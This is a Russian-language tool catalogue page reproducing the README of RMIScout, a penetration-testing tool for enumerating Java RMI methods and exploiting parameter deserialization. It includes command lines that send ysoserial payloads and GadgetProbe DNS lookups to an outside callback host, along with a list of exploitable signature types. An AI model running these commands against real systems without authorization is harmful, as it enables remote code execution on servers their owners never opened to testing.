Skip to content
KitploitKITPLOIT
ИнструментыЭксплойтыБлог
Log in
Отправить
ИнструментыЭксплойтыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
rmiscout — RMIScout использует стратегии на основе словаря и перебора для перечисления функций Java RMI и эксплуатации уязвимостей десериализации параметров RMI. | Kitploit
Инструменты/GitHubGitHub/bishopfox/rmiscout
Сканеры уязвимостейЭксплуатацияСбор информацииФаззингТестирование на Проникновение
GitHubbishopfox/rmiscout

rmiscout

RMIScout использует стратегии на основе словаря и перебора для перечисления функций Java RMI и эксплуатации уязвимостей десериализации параметров RMI.

Репозиторий
44862595 лет назадПроверено Kitploit
Сайт

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться

License Python version

Описание

RMIScout позволяет проводить атаки с использованием словарей и полного перебора на открытые интерфейсы Java RMI для безопасного угадывания сигнатур методов без их вызова. Поддерживаются несколько протоколов Java RMI, вызов методов и эксплуатация.

Обзор возможностей

  • Поддержка нескольких типов серверов Java RMI:
    • RMI-JRMP (также известный как обычный RMI; обычно порт 1099): служба реестра удаленных объектов (rmiregistry)
    • Заглушки активации RMI через rmid
    • RMI-IIOP: модель программирования Java CORBA (orbd; обычно порт 1050)
      • Для IIOP требуется JRE 1.8. Из-за устаревания в более поздних средах выполнения.
    • RMI-SSL
  • Несколько режимов работы
    • Режим словаря: Проверка удаленных методов с использованием словаря сигнатур (см. прилагаемый файл lists/prototypes.txt)
    • Режим полного перебора: На основе словаря имен методов генерируются сигнатуры с различными типами параметров, их количеством и типами возвращаемых значений.
    • Режим эксплуатации: Использование ysoserial для эксплуатации удаленных методов с не примитивными параметрами.
      • Для корректной работы ysoserial требуется запуск rmiscout в среде JRE 1.8.
    • Режим зондирования: Использование GadgetProbe для идентификации классов в удаленном classpath
    • Режим вызова: Прямой вызов удаленных методов с указанием сигнатуры и значений параметров из командной строки (поддерживаются только примитивы, массивы и строки).
    • Режим списка: Вывод доступных реестров на удаленном сервере.
  • Автоматическое переключение между RMI, RMI-SSL и заглушками активации.
  • Автоматическое выполнение обхода ограничений локального хоста (например, реестры, привязанные к @127.0.0.1:XXXX, но при этом доступные извне через XXXX).

Принцип работы

Для идентификации, но не выполнения функций RMI, RMIScout использует низкоуровневые сетевые функции RMI и динамическую генерацию классов, отправляя вызовы RMI с намеренно несовпадающими типами, чтобы вызвать удаленные исключения. Все параметры заменяются динамически генерируемым сериализуемым классом с именем из 255 символов, который, как предполагается, отсутствует в удаленном classpath. Например:

Удаленный интерфейс:

void login(String user, String password)

RMIScout выполнит вызов:

login((String) new QQkzkn3..255 символов..(), (String) new QQkzkn3..255 символов..())

Если класс присутствует, это приведет к удаленному исключению java.rmi.UnmarshalException, вызванному ClassNotFoundException или ошибкой десериализации аргументов, без выполнения базового метода.

Более подробные технические материалы:

  • (Оригинальная статья) RMIScout: Безопасный и быстрый перебор интерфейсов Java RMI для выполнения кода
  • (Обновление RMIScout) Уроки, извлеченные при переборе RMI-IIOP с помощью RMIScout

Режимы работы

Режим словаря

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

Укажите словарь прототипов методов для проверки на удаленном сервере. RMIScout выведет все найденные совпадения.

Для RMI-IIOP/CORBA: Если методы не перегружены, для перебора и вызова достаточно совпадения имен (вся остальная информация игнорируется).

Режим полного перебора

./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

Укажите словарь кандидатов имен методов, затем через запятую список кандидатов типов возвращаемых значений, диапазон количества параметров и кандидатов типов параметров. Режим полного перебора сгенерирует все перестановки и найдет совпадающие сигнатуры.

Режим эксплуатации

./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

На неправильно настроенных серверах любую известную сигнатуру RMI, использующую не примитивные типы (например, java.util.List), можно эксплуатировать, заменив объект сериализованной полезной нагрузкой. Это довольно распространенная ошибка конфигурации (например, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server и Gemfire, Apache Karaf + Cassandra), о чем говорилось в докладе An Trinh на Blackhat EU 2019.

RMIScout интегрируется с ysoserial для проведения атак десериализации на сервисы, неправильно настроившие общепроцессные фильтры сериализации (JEP 290).

Примеры эксплуатируемых сигнатур:

void exampleMethod(java.util.Map a) // Любые не примитивные типы
void exampleMethod(float[] a) // Любой тип массива, даже примитивы
void exampleMethod(String a) // Работает на старых JDK, см. ниже...

Примечание: Сигнатуры, содержащие типы java.lang.String, эксплуатируемы только в JRE 8/11/13/14 до начала 2020 года в RMI-JRMP, но в RMI-IIOP остаются эксплуатируемыми до сих пор.

Режим вызова

./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout позволяет вызывать любые сигнатуры с примитивами, массивами примитивов или строками. Более сложные типы потребуют написания собственного клиента.

Режим зондирования

./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout интегрируется с GadgetProbe для идентификации классов в удаленном classpath. Имена классов извлекаются через DNS.

Сборка и запуск

Используйте прилагаемый скрипт rmiscout.sh для автоматической сборки проекта и как удобную обертку для синтаксиса java -jar:

./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

В качестве альтернативы можно собрать проект вручную и использовать традиционный синтаксис java -jar:

# Ручная сборка JAR
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

Примечание: RMI-IIOP (компиляция/выполнение) и ysoserial (выполнение) зависят от JDK8.

Попробуйте

Запустите демонстрационный сервер RMI в Docker. Попробуйте прилагаемый файл demo/wordlist.txt.

cd demo
./start_demo.sh

Устранение неполадок

В: Как определить, является ли <host>:<port> реестром RMI?

Скачать инструмент